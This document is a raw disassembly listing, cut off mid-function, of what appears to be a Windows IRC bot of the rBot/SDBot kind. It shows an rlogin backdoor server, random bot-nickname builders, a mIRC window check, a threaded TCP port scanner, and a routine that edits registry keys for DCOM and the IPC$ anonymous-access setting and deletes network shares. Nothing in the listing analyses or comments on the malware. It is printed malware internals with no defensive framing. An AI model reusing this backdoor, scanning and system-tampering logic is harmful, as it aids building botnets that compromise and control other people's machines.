mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_40F4B3 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40F491 loc_40F4AF: ; CODE XREF: sub_40F48C+Fj xor eax, eax jmp short loc_40F4B8 ; --------------------------------------------------------------------------- loc_40F4B3: ; CODE XREF: sub_40F48C+Bj ; sub_40F48C+19j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40F4B8: ; CODE XREF: sub_40F48C+25j test eax, eax pop esi jz short loc_40F4D5 push [esp+arg_4] push [esp+4+arg_0] push offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"... call sub_401F73 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_40F4D5: ; CODE XREF: sub_40F48C+2Fj xor eax, eax inc eax retn sub_40F48C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40F4D9 proc near ; DATA XREF: sub_40F6E5+19Fo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 3D4h mov eax, [ebp+74h+arg_0] push ebx push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+74h+var_3D4] rep movsd mov esi, [ebp+74h+var_208] mov [ebp+74h+arg_0], esi imul esi, 234h xor edi, edi inc edi mov [eax+1DCh], edi mov eax, dword_4366AC[esi] mov [ebp+74h+var_1F0], eax xor ebx, ebx lea eax, [ebp+74h+var_C] push eax push ebx push ebx lea eax, [ebp+74h+var_1F4] push eax push ebx mov [ebp+74h+var_C], 1Eh mov [ebp+74h+var_8], ebx mov [ebp+74h+var_1F4], edi call dword_4358AC ; select test eax, eax jnz short loc_40F562 push dword_4366AC[esi] call dword_435914 ; closesocket push [ebp+74h+var_208] loc_40F557: ; CODE XREF: sub_40F4D9+1A2j call sub_41255E pop ecx jmp loc_40F6DD ; --------------------------------------------------------------------------- loc_40F562: ; CODE XREF: sub_40F4D9+6Aj push ebx push edi lea eax, [ebp+74h+var_3C] push eax push dword_4366AC[esi] call dword_43577C ; recv push 10h push dword_4366AC[esi] lea eax, [ebp+74h+var_2C] call sub_40F441 push 10h push dword_4366AC[esi] lea eax, [ebp+74h+var_4C] call sub_40F441 push 40h push dword_4366AC[esi] lea eax, [ebp+74h+var_F0] call sub_40F441 add esp, 18h lea eax, [ebp+74h+var_4] push eax lea eax, [ebp+74h+var_1C] push eax push dword_4366AC[esi] mov [ebp+74h+var_4], 10h call dword_435848 ; getpeername test eax, eax jz short loc_40F5EA call dword_4358C0 ; WSAGetLastError push eax push offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>." call sub_401F73 push [ebp+74h+var_208] call sub_41255E add esp, 0Ch jmp loc_40F6DD ; --------------------------------------------------------------------------- loc_40F5EA: ; CODE XREF: sub_40F4D9+EBj push 2 push 4 lea eax, [ebp+74h+var_18] push eax call dword_4358F8 ; gethostbyaddr cmp eax, ebx jnz short loc_40F613 push [ebp+74h+var_18] call dword_435888 ; inet_ntoa push eax lea eax, [ebp+74h+var_B0] push eax call sub_414415 pop ecx pop ecx jmp short loc_40F622 ; --------------------------------------------------------------------------- loc_40F613: ; CODE XREF: sub_40F4D9+121j mov ecx, [eax] lea edx, [ebp+74h+var_B0] loc_40F618: ; CODE XREF: sub_40F4D9+147j mov al, [ecx] inc ecx mov [edx], al inc edx cmp al, bl jnz short loc_40F618 loc_40F622: ; CODE XREF: sub_40F4D9+138j push ebx push edi push 420AEAh push dword_4366AC[esi] call dword_43589C ; send cmp dword_47BF78, ebx jnz short loc_40F680 push [ebp+74h+var_18] lea eax, [ebp+74h+var_B0] push eax lea eax, [ebp+74h+var_2C] push eax lea eax, [ebp+74h+var_350] call sub_40F48C add esp, 0Ch test eax, eax jnz short loc_40F680 push ebx push 13h push offset aPermissionDeni ; "Permission denied\n" lea esi, dword_4366AC[esi] push dword ptr [esi] call dword_43589C ; send push dword ptr [esi] call dword_435914 ; closesocket push [ebp+74h+arg_0] jmp loc_40F557 ; --------------------------------------------------------------------------- loc_40F680: ; CODE XREF: sub_40F4D9+162j ; sub_40F4D9+17Fj lea eax, [ebp+74h+var_B0] push eax lea eax, [ebp+74h+var_2C] push eax push offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>." call sub_401F73 push [ebp+74h+arg_0] call sub_4108C1 add esp, 10h test eax, eax jnz short loc_40F6C0 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>." call sub_401F73 push [ebp+74h+arg_0] call sub_41255E add esp, 0Ch push edi jmp short loc_40F6DE ; --------------------------------------------------------------------------- loc_40F6C0: ; CODE XREF: sub_40F4D9+1C6j lea eax, [ebp+74h+var_B0] push eax lea eax, [ebp+74h+var_2C] push eax push offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>." call sub_401F73 push [ebp+74h+arg_0] call sub_41255E add esp, 10h loc_40F6DD: ; CODE XREF: sub_40F4D9+84j ; sub_40F4D9+10Cj push ebx loc_40F6DE: ; CODE XREF: sub_40F4D9+1E5j call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_40F4D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6E5 proc near ; DATA XREF: sub_4089DC+4514o var_5A8 = byte ptr -5A8h var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = byte ptr -214h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A8h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_218] rep movsd xor esi, esi inc esi mov [eax+1DCh], esi lea eax, [ebp+var_5A8] push eax push 202h call dword_435818 ; WSAStartup xor ebx, ebx cmp eax, ebx jz short loc_40F73E push eax push offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>." call sub_401F73 push [ebp+var_50] call sub_41255E add esp, 0Ch loc_40F738: ; CODE XREF: sub_40F6E5+8Bj push esi jmp loc_40F95A ; --------------------------------------------------------------------------- loc_40F73E: ; CODE XREF: sub_40F6E5+3Bj push esi push offset sub_40F482 call ds:dword_420118 ; SetConsoleCtrlHandler test eax, eax jnz short loc_40F772 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "... call sub_401F73 pop ecx pop ecx call dword_435920 ; WSACleanup push [ebp+var_50] call sub_41255E pop ecx jmp short loc_40F738 ; --------------------------------------------------------------------------- loc_40F772: ; CODE XREF: sub_40F6E5+67j push [ebp+var_54] xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd mov [ebp+var_24], 2 call dword_435954 ; htons push 6 push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_435808 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_40F8EA mov ecx, [ebp+var_50] imul ecx, 234h push 10h pop edi mov dword_4366AC[ecx], eax push edi lea ecx, [ebp+var_24] push ecx push eax call dword_4358E0 ; bind test eax, eax jnz loc_40F8EA push 7FFFFFFFh push [ebp+arg_0] call dword_435928 ; listen test eax, eax jnz loc_40F8EA push offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"... mov [ebp+var_14], 0Ch mov [ebp+var_10], ebx mov [ebp+var_C], ebx call sub_401EFF pop ecx mov [ebp+var_8], esi jmp loc_40F8C9 ; --------------------------------------------------------------------------- loc_40F804: ; CODE XREF: sub_40F6E5+1FDj push [ebp+var_8] lea eax, [ebp+var_8] push eax push 8 push 0FFFFh push esi call dword_435824 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_40F8C9 push [ebp+var_50] movzx eax, [ebp+var_32] push eax push [ebp+var_30] mov [ebp+var_3C], ebx call dword_435888 ; inet_ntoa push eax lea eax, [ebp+var_418] push offset aRlogindClientC ; "[RLOGIND]: Client connection from IP: %"... push eax call sub_414415 lea eax, [ebp+var_418] push eax call sub_401EFF push esi lea eax, [ebp+var_418] push 7 push eax call sub_41229A mov ecx, [ebp+var_50] mov [ebp+var_4C], eax imul eax, 234h add esp, 24h mov dword_4366A4[eax], ecx lea eax, [ebp+var_38] push eax push ebx lea eax, [ebp+var_218] push eax push offset sub_40F4D9 push ebx lea eax, [ebp+var_14] push eax call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_4C] imul ecx, 234h cmp eax, ebx mov dword_4366B4[ecx], eax jnz short loc_40F8C4 call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"... call sub_401F73 pop ecx pop ecx jmp short loc_40F8ED ; --------------------------------------------------------------------------- loc_40F8BC: ; CODE XREF: sub_40F6E5+1E2j push 32h call ds:dword_420000 ; Sleep loc_40F8C4: ; CODE XREF: sub_40F6E5+1C0j cmp [ebp+var_3C], ebx jz short loc_40F8BC loc_40F8C9: ; CODE XREF: sub_40F6E5+11Aj ; sub_40F6E5+137j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] mov [ebp+var_4], edi call dword_4357CC ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz loc_40F804 jmp short loc_40F8ED ; --------------------------------------------------------------------------- loc_40F8EA: ; CODE XREF: sub_40F6E5+BDj ; sub_40F6E5+E3j ... mov esi, [ebp+arg_0] loc_40F8ED: ; CODE XREF: sub_40F6E5+1D5j ; sub_40F6E5+203j call dword_4358C0 ; WSAGetLastError push eax lea eax, [ebp+var_418] push offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"... push eax call sub_414415 add esp, 0Ch cmp [ebp+var_40], ebx jnz short loc_40F92D push ebx push [ebp+var_44] lea eax, [ebp+var_418] push eax lea eax, [ebp+var_214] push eax push [ebp+var_218] call sub_4056BF add esp, 14h loc_40F92D: ; CODE XREF: sub_40F6E5+226j lea eax, [ebp+var_418] push eax call sub_401EFF pop ecx push esi call dword_435914 ; closesocket push [ebp+arg_0] call dword_435914 ; closesocket call dword_435920 ; WSACleanup push [ebp+var_50] call sub_41255E pop ecx push ebx loc_40F95A: ; CODE XREF: sub_40F6E5+54j call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_40F6E5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40F961 proc near ; CODE XREF: sub_40FC7C+6Cp ; DATA XREF: .data:off_42C320o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call ds:dword_420004 ; GetTickCount push eax call sub_4145C4 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aSoul ; "[SOUL]" push offset aS_2 ; "%s" push 1Ch push edi call sub_41466D xor esi, esi add esp, 10h cmp dword_42BED4, esi jle short loc_40F9BA loc_40F994: ; CODE XREF: sub_40F961+57j call sub_4145D1 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_41466D add esp, 14h inc esi cmp esi, dword_42BED4 jl short loc_40F994 loc_40F9BA: ; CODE XREF: sub_40F961+31j mov eax, edi pop edi pop esi retn sub_40F961 endp ; =============== S U B R O U T I N E ======================================= sub_40F9BF proc near ; CODE XREF: sub_4089DC+2FE5p arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_420004 ; GetTickCount push eax call sub_4145C4 pop ecx call sub_4145D1 push 3 cdq pop ecx idiv ecx mov ebx, [esp+0Ch+arg_0] xor edi, edi mov esi, edx add esi, dword_42BED4 test esi, esi jle short loc_40FA02 loc_40F9EC: ; CODE XREF: sub_40F9BF+41j call sub_4145D1 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40F9EC loc_40FA02: ; CODE XREF: sub_40F9BF+2Bj and byte ptr [edi+ebx], 0 pop edi pop esi mov eax, ebx pop ebx retn sub_40F9BF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call ds:dword_420004 ; GetTickCount push eax call sub_4145C4 pop ecx lea eax, [ebp-4] push eax mov esi, offset aPc ; "PC" push esi call ds:dword_4200DC ; GetComputerNameA mov edi, [ebp+8] push esi push 1Ch push edi call sub_41466D xor esi, esi add esp, 0Ch cmp dword_42BED4, esi jle short loc_40FA75 loc_40FA4F: ; CODE XREF: .text:0040FA73j call sub_4145D1 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_41466D add esp, 14h inc esi cmp esi, dword_42BED4 jl short loc_40FA4F loc_40FA75: ; CODE XREF: .text:0040FA4Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_420004 ; GetTickCount push eax call sub_4145C4 pop ecx push 0Ah lea eax, [ebp-0Ch] push eax push 7 push 800h call ds:dword_42011C ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_2 ; "%s" push 1Ch push edi call sub_41466D xor esi, esi add esp, 10h cmp dword_42BED4, esi jle short loc_40FAEA loc_40FAC4: ; CODE XREF: .text:0040FAE8j call sub_4145D1 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_41466D add esp, 14h inc esi cmp esi, dword_42BED4 jl short loc_40FAC4 loc_40FAEA: ; CODE XREF: .text:0040FAC2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp lea ebp, [esp-74h] sub esp, 94h push esi push edi lea eax, [ebp-20h] push eax mov esi, 420AEAh mov dword ptr [ebp-20h], 94h call ds:dword_420120 ; GetVersionExA call ds:dword_420004 ; GetTickCount push eax call sub_4145C4 cmp dword ptr [ebp-1Ch], 4 pop ecx jnz short loc_40FB5E cmp dword ptr [ebp-18h], 0 jnz short loc_40FB44 cmp dword ptr [ebp-10h], 1 jnz short loc_40FB37 mov esi, offset a95 ; "95" loc_40FB37: ; CODE XREF: .text:0040FB30j cmp dword ptr [ebp-10h], 2 jnz short loc_40FB8E mov esi, offset aNt ; "NT" jmp short loc_40FB8E ; --------------------------------------------------------------------------- loc_40FB44: ; CODE XREF: .text:0040FB2Aj cmp dword ptr [ebp-18h], 0Ah jnz short loc_40FB51 mov esi, offset a98 ; "98" jmp short loc_40FB8E ; --------------------------------------------------------------------------- loc_40FB51: ; CODE XREF: .text:0040FB48j cmp dword ptr [ebp-18h], 5Ah jnz short loc_40FB89 mov esi, offset aMe_0 ; "ME" jmp short loc_40FB8E ; --------------------------------------------------------------------------- loc_40FB5E: ; CODE XREF: .text:0040FB24j cmp dword ptr [ebp-1Ch], 5 jnz short loc_40FB89 cmp dword ptr [ebp-18h], 0 jnz short loc_40FB71 mov esi, offset a2k ; "2K" jmp short loc_40FB8E ; --------------------------------------------------------------------------- loc_40FB71: ; CODE XREF: .text:0040FB68j cmp dword ptr [ebp-18h], 1 jnz short loc_40FB7E mov esi, offset aXp_0 ; "XP" jmp short loc_40FB8E ; --------------------------------------------------------------------------- loc_40FB7E: ; CODE XREF: .text:0040FB75j cmp dword ptr [ebp-18h], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40FB8E loc_40FB89: ; CODE XREF: .text:0040FB55j ; .text:0040FB62j mov esi, offset a??? ; "???" loc_40FB8E: ; CODE XREF: .text:0040FB3Bj ; .text:0040FB42j ... mov edi, [ebp+7Ch] push esi push offset aS_7 ; "[%s]" push 1Ch push edi call sub_41466D xor esi, esi add esp, 10h cmp dword_42BED4, esi jle short loc_40FBD2 loc_40FBAC: ; CODE XREF: .text:0040FBD0j call sub_4145D1 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_41466D add esp, 14h inc esi cmp esi, dword_42BED4 jl short loc_40FBAC loc_40FBD2: ; CODE XREF: .text:0040FBAAj mov eax, edi pop edi pop esi add ebp, 74h leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FBDB proc near ; CODE XREF: sub_40FC7C+80p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_420004 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax call dword_435860 ; FindWindowA test esi, esi jbe short loc_40FC29 test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_40FC12 mov eax, 420AEAh loc_40FC12: ; CODE XREF: sub_40FBDB+30j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_41466D add esp, 14h jmp short loc_40FC43 ; --------------------------------------------------------------------------- loc_40FC29: ; CODE XREF: sub_40FBDB+27j test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_40FC37 mov eax, 420AEAh loc_40FC37: ; CODE XREF: sub_40FBDB+55j push eax lea eax, [ebp+var_1C] push eax call sub_414415 pop ecx pop ecx loc_40FC43: ; CODE XREF: sub_40FBDB+4Cj lea eax, [ebp+var_1C] lea edx, [eax+1] pop esi loc_40FC4A: ; CODE XREF: sub_40FBDB+74j mov cl, [eax] inc eax test cl, cl jnz short loc_40FC4A sub eax, edx cmp eax, 2 jbe short loc_40FC77 push 1Ch push [ebp+arg_0] lea eax, [ebp+var_1C] push eax call sub_4142E0 push 1Ch lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call sub_4144A0 add esp, 18h loc_40FC77: ; CODE XREF: sub_40FBDB+7Bj mov eax, [ebp+arg_0] leave retn sub_40FBDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FC7C proc near ; CODE XREF: sub_408601+53p ; sub_40887D+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi xor edx, edx xor edi, edi loc_40FC86: ; CODE XREF: sub_40FC7C+62j mov esi, [ebp+arg_C] test esi, esi jz short loc_40FCC5 lea eax, dword_42C310[edi] loc_40FC93: ; CODE XREF: sub_40FC7C+33j mov bl, [esi] mov cl, bl cmp bl, [eax] jnz short loc_40FCB5 test cl, cl jz short loc_40FCB1 mov bl, [esi+1] mov cl, bl cmp bl, [eax+1] jnz short loc_40FCB5 inc esi inc esi inc eax inc eax test cl, cl jnz short loc_40FC93 loc_40FCB1: ; CODE XREF: sub_40FC7C+21j xor eax, eax jmp short loc_40FCBA ; --------------------------------------------------------------------------- loc_40FCB5: ; CODE XREF: sub_40FC7C+1Dj ; sub_40FC7C+2Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_40FCBA: ; CODE XREF: sub_40FC7C+37j xor ecx, ecx test eax, eax setz cl mov eax, ecx jmp short loc_40FCD3 ; --------------------------------------------------------------------------- loc_40FCC5: ; CODE XREF: sub_40FC7C+Fj mov ecx, dword_42C31C[edi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40FCD3: ; CODE XREF: sub_40FC7C+47j test eax, eax jnz short loc_40FCE2 add edi, 14h inc edx cmp edi, 64h jb short loc_40FC86 jmp short loc_40FCF0 ; --------------------------------------------------------------------------- loc_40FCE2: ; CODE XREF: sub_40FC7C+59j push [ebp+arg_0] lea eax, [edx+edx*4] call off_42C320[eax*4] pop ecx loc_40FCF0: ; CODE XREF: sub_40FC7C+64j cmp [ebp+arg_8], 0 pop edi pop esi pop ebx jz short loc_40FD04 push [ebp+arg_0] call sub_40FBDB pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40FD04: ; CODE XREF: sub_40FC7C+7Bj mov eax, [ebp+arg_0] pop ebp retn sub_40FC7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40FD09 proc near ; DATA XREF: sub_40FDCB+77o var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0B8h mov eax, [ebp+74h+arg_0] push esi push edi mov esi, eax push 2Ah pop ecx lea edi, [ebp+74h+var_B8] rep movsd push [ebp+74h+var_34] xor esi, esi inc esi mov [eax+0A4h], esi xor eax, eax lea edi, [ebp+74h+var_10] stosd stosd stosd stosd mov [ebp+74h+var_10], 2 call dword_435954 ; htons push 6 mov [ebp+74h+var_E], ax mov eax, [ebp+74h+var_28] push esi push 2 mov [ebp+74h+var_C], eax call dword_435808 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40FDB9 push 10h lea eax, [ebp+74h+var_10] push eax push esi call dword_4357C0 ; connect mov ecx, [ebp+74h+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4366AC[ecx], esi jz short loc_40FDB9 push [ebp+74h+var_34] push [ebp+74h+var_28] call dword_435888 ; inet_ntoa push eax push offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open." mov edi, offset dword_47BF80 push edi call sub_414415 push 0 push [ebp+74h+var_20] lea eax, [ebp+74h+var_B4] push edi push eax push [ebp+74h+var_B8] call sub_4056BF push edi call sub_401EFF add esp, 28h loc_40FDB9: ; CODE XREF: sub_40FD09+55j ; sub_40FD09+76j push esi call dword_435914 ; closesocket pop edi xor eax, eax pop esi add ebp, 74h leave retn 4 sub_40FD09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame fpd=74h sub_40FDCB proc near ; DATA XREF: sub_4089DC+265Bo var_12C = byte ptr -12Ch var_AC = byte ptr -0ACh var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 12Ch push ebx mov ebx, [ebp+74h+arg_0] push esi push edi push 2Ah pop ecx mov esi, ebx lea edi, [ebp+74h+var_AC] rep movsd mov esi, ds:dword_420000 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_40FDF8: ; CODE XREF: sub_40FDCB+C1j push [ebp+74h+var_28] push [ebp+74h+var_1C] call dword_435888 ; inet_ntoa push eax lea eax, [ebp+74h+var_12C] push offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d." push eax call sub_414415 push 1FFh lea eax, [ebp+74h+var_12C] push eax mov eax, [ebp+74h+var_20] imul eax, 234h add eax, offset dword_4364A0 push eax call sub_4144A0 add esp, 1Ch lea eax, [ebp+74h+var_4] push eax push edi lea eax, [ebp+74h+var_AC] push eax push offset sub_40FD09 push edi push edi call ds:dword_42000C ; CreateThread cmp eax, edi mov [ebp+74h+arg_0], eax jz short loc_40FE61 jmp short loc_40FE5C ; --------------------------------------------------------------------------- loc_40FE58: ; CODE XREF: sub_40FDCB+94j push 32h call esi ; Sleep loc_40FE5C: ; CODE XREF: sub_40FDCB+8Bj cmp [ebp+74h+var_8], edi jz short loc_40FE58 loc_40FE61: ; CODE XREF: sub_40FDCB+89j push [ebp+74h+arg_0] call ds:dword_42003C ; CloseHandle push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep push [ebp+74h+var_1C] call dword_4358D8 ; htonl inc eax push eax call dword_43592C ; htonl mov [ebp+74h+var_1C], eax jmp loc_40FDF8 sub_40FDCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FE91 proc near ; CODE XREF: sub_4104D1+8p ; sub_4104EF+37p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_435968, edi jnz loc_40FFC4 lea eax, [ebp+var_4] push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" mov esi, 80000002h push esi call dword_435930 ; RegOpenKeyExA test eax, eax jnz short loc_40FF1D lea eax, [ebp+var_8+2] mov word ptr [ebp+var_8+2], 4Eh lea edx, [eax+1] loc_40FED5: ; CODE XREF: sub_40FE91+49j mov cl, [eax] inc eax test cl, cl jnz short loc_40FED5 sub eax, edx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4357EC ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_40FF05 push offset aSecureDisableD ; "[SECURE]: Disable DCOM failed." jmp short loc_40FF0A ; --------------------------------------------------------------------------- loc_40FF05: ; CODE XREF: sub_40FE91+6Bj push offset aSecureDcomDisa ; "[SECURE]: DCOM disabled." loc_40FF0A: ; CODE XREF: sub_40FE91+72j push eax call sub_414415 pop ecx pop ecx push [ebp+var_4] call dword_4358E4 ; RegCloseKey jmp short loc_40FF30 ; --------------------------------------------------------------------------- loc_40FF1D: ; CODE XREF: sub_40FE91+36j lea eax, [ebp+var_214] push offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM registry "... push eax call sub_414415 pop ecx pop ecx loc_40FF30: ; CODE XREF: sub_40FE91+8Aj cmp [ebp+arg_C], edi jnz short loc_40FF4F push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_40FF4F: ; CODE XREF: sub_40FE91+A2j lea eax, [ebp+var_214] push eax call sub_401EFF pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_435930 ; RegOpenKeyExA test eax, eax jnz short loc_40FFBD push 4 lea eax, [ebp+var_8] push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4357EC ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_40FFA5 push offset aSecureFailed_1 ; "[SECURE]: Failed to restrict access to "... jmp short loc_40FFAA ; --------------------------------------------------------------------------- loc_40FFA5: ; CODE XREF: sub_40FE91+10Bj push offset aSecureRestrict ; "[SECURE]: Restricted access to the IPC$"... loc_40FFAA: ; CODE XREF: sub_40FE91+112j push eax call sub_414415 pop ecx pop ecx push [ebp+var_4] call dword_4358E4 ; RegCloseKey jmp short loc_40FFD7 ; --------------------------------------------------------------------------- loc_40FFBD: ; CODE XREF: sub_40FE91+E3j push offset aSecureFailed_2 ; "[SECURE]: Failed to open IPC$ Restricti"... jmp short loc_40FFC9 ; --------------------------------------------------------------------------- loc_40FFC4: ; CODE XREF: sub_40FE91+13j push offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"... loc_40FFC9: ; CODE XREF: sub_40FE91+131j lea eax, [ebp+var_214] push eax call sub_414415 pop ecx pop ecx loc_40FFD7: ; CODE XREF: sub_40FE91+12Aj cmp [ebp+arg_C], edi jnz short loc_40FFF6 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_40FFF6: ; CODE XREF: sub_40FE91+149j lea eax, [ebp+var_214] push eax call sub_401EFF cmp dword_435990, edi pop ecx jnz loc_410173 mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi push ebx loc_410019: ; CODE XREF: sub_40FE91+2C6j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax push 0FFFFFFFFh lea eax, [ebp+var_8] push eax push 1F6h push edi call dword_435908 cmp eax, edi mov [ebp+var_10], eax jz short loc_4100B8 cmp eax, 0EAh jz short loc_4100B8 xor esi, esi loc_410047: ; CODE XREF: sub_40FE91+220j push off_42C378[esi] push edi call sub_407114 pop ecx pop ecx push off_42C378[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41006C push offset aSecureShareSDe ; "[SECURE]: Share '%s' deleted." jmp short loc_410071 ; --------------------------------------------------------------------------- loc_41006C: ; CODE XREF: sub_40FE91+1D2j push offset aSecureFailed_3 ; "[SECURE]: Failed to delete '%s' share." loc_410071: ; CODE XREF: sub_40FE91+1D9j push 200h push eax call sub_41466D add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41009E push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_41009E: ; CODE XREF: sub_40FE91+1F1j lea eax, [ebp+var_214] push eax call sub_401EFF add esi, 8 cmp esi, 20h pop ecx jb short loc_410047 jmp loc_410150 ; --------------------------------------------------------------------------- loc_4100B8: ; CODE XREF: sub_40FE91+1ABj ; 